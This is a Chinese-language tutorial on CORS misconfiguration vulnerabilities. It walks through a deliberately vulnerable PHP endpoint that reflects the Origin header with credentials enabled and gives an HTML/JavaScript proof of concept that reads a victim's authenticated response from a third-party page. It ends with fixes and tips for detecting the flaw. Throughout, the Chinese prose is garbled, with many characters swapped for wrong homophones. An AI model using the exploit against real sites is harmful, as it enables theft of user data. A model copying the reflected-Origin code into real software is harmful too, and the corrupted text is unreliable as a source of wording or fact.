1.1. CORS介绍
CORS(跨源资源共享)是一种用于在Web应用程序中解决跨域申请的机制。当一个Web应用程序在浏览器中向不同的域(源)发动跨域申请时,浏览器会执行同源策略,限度了跨域申请的默认行为。同源策略要求Web应用程序只能拜访与其自身源(协定、域名和端口)雷同的资源。
然而,在某些状况下,咱们心愿容许来自其余源的跨域申请,例如应用AJAX进行跨域数据拜访或在前端应用程序中嵌入来自不同域的资源(如字体、样式表或脚本)。这时就须要应用CORS来解决跨域申请的限度。
CORS通过在服务器端设置响应头来进行配置。当浏览器发动跨域申请时,服务器能够通过设置特定的CORS响应头来告知浏览器是否容许该申请。常见的CORS响应头包含以下几个:
Access-Control-Allow-Origin
:指定容许拜访该资源的源。能够是具体的源(如http://example.com)或通配符(*
),示意容许来自任意源的拜访。Access-Control-Allow-Methods
:指定容许的HTTP办法(如GET、POST、PUT等)。Access-Control-Allow-Headers
:指定容许的申请头字段。Access-Control-Allow-Credentials
:指定是否容许发送身份凭证(如cookies、HTTP认证等)。Access-Control-Max-Age
:指定预检申请(OPTIONS)的有效期,以缩小对服务器的频繁申请。
在前端代码中,如果要发送跨域申请,能够通过XMLHttpRequest
对象或fetch API
增加额定的申请头来批示浏览器发动CORS申请。浏览器会主动在发送申请时查看响应中的CORS头信息,并依据配置决定是否容许该申请。
具体可参考MDN DOC
1.2. 破绽介绍
因为须要配置CORS响应头来告知浏览器是否容许该申请,所以如果配置不当,就可能导致攻击者通过歹意网站或代码执行跨域申请,从而获取或篡改用户的敏感数据(危害和CSRF相似,不过能够劫持返回的内容)。
1.3. 破绽复现
1.3.1. 环境搭建
实战过程中,次要是Origin可控
以及Access-Control-Allow-Credentials
设置为True
,这样能力劫持到数据,简略的破绽复现环境如下:
php代码,保留为index.php
<?php$userInfo = array( 'username' => 'd4m1ts', 'phone' => '13888888888');$jsonResponse = json_encode($userInfo);// 查看是否存在Origin头if (isset($_SERVER['HTTP_ORIGIN'])) { // 设置Access-Control-Allow-Origin为申请中的Origin值 header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']); // 设置Access-Control-Allow-Credentials为True header('Access-Control-Allow-Credentials: true');}// 查看是否设置了名为admin的Cookieif (isset($_COOKIE['admin'])) { header('Content-Type: application/json'); echo $jsonResponse;} else { echo "unauth";}?>
繁难启动php web服务
php -S 127.0.0.1:9999
1.3.2. 复现过程
间接关上会提醒unauth
依据代码,须要在Cookie中设置字段admin
Note
浏览器默认SameSite是Lax,Lax
的状况下无奈发送至第三方上下文中,所以须要设置一下,不然无奈劫持!
document.cookie = "admin=1; SameSite=None"
设置后刷新就能够拿到数据了,咱们假如这是敏感数据,后续即便对这个数据进行劫持。
假如http://internal.gm7.org:9999/
是指标,测试过程中在申请数据包头增加Origin
字段,察看响应包,发现Origin可控,且Access-Control-Allow-Credentials: true
,还没有验证referer,就阐明能够劫持了。
编写POC如下:
<!DOCTYPE html><html><body><div id="demo"><button type="button" onclick="cors()">Exploit</button></div><script>function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xhttp.open("GET", "http://internal.gm7.org:9999/", true); xhttp.withCredentials = true; xhttp.send();}</script></body></html>
放到第三方网站上,可见胜利劫持
1.3.3. 特地阐明
如果要CORS携带Cookie,同时胜利利用该破绽,须要满足如下几个条件
- Cookie的
SameSite
属性值为None
,但目前浏览器默认简直都是Lax
- 响应头中的
Access-Control-Allow-Origin
不能为通配符*
,而是应指定具体的域名,否则只能发动申请,无奈获取到响应 - 服务器的响应头须要蕴含
Access-Control-Allow-Credentials: true
- 在发动Ajax申请时,须要将
withCredentials
设置为true
。
1.4. 修复倡议
- 限度
Access-Control-Allow-Origin
的值为可信源,尽可能设置白名单,不能为*
,也不能为null
- 防止
Access-Control-Allow-Credentials
的值为True
- 设置
Access-Control-Allow-Methods
(容许的 HTTP 办法)、Access-Control-Allow-Headers
(容许的申请头)
1.5. 开掘技巧
能够在burpsuite中勾选替换条件,主动减少Origin
而后从响应头中查看是否可控Origin以及是否蕴含Access-Control-Allow-Credentials: true
也能够挂着xray去扫,不过误报率可能会比拟高,大多都不是敏感信息,没啥意思,不过反正都须要人工去判断,看集体爱好吧。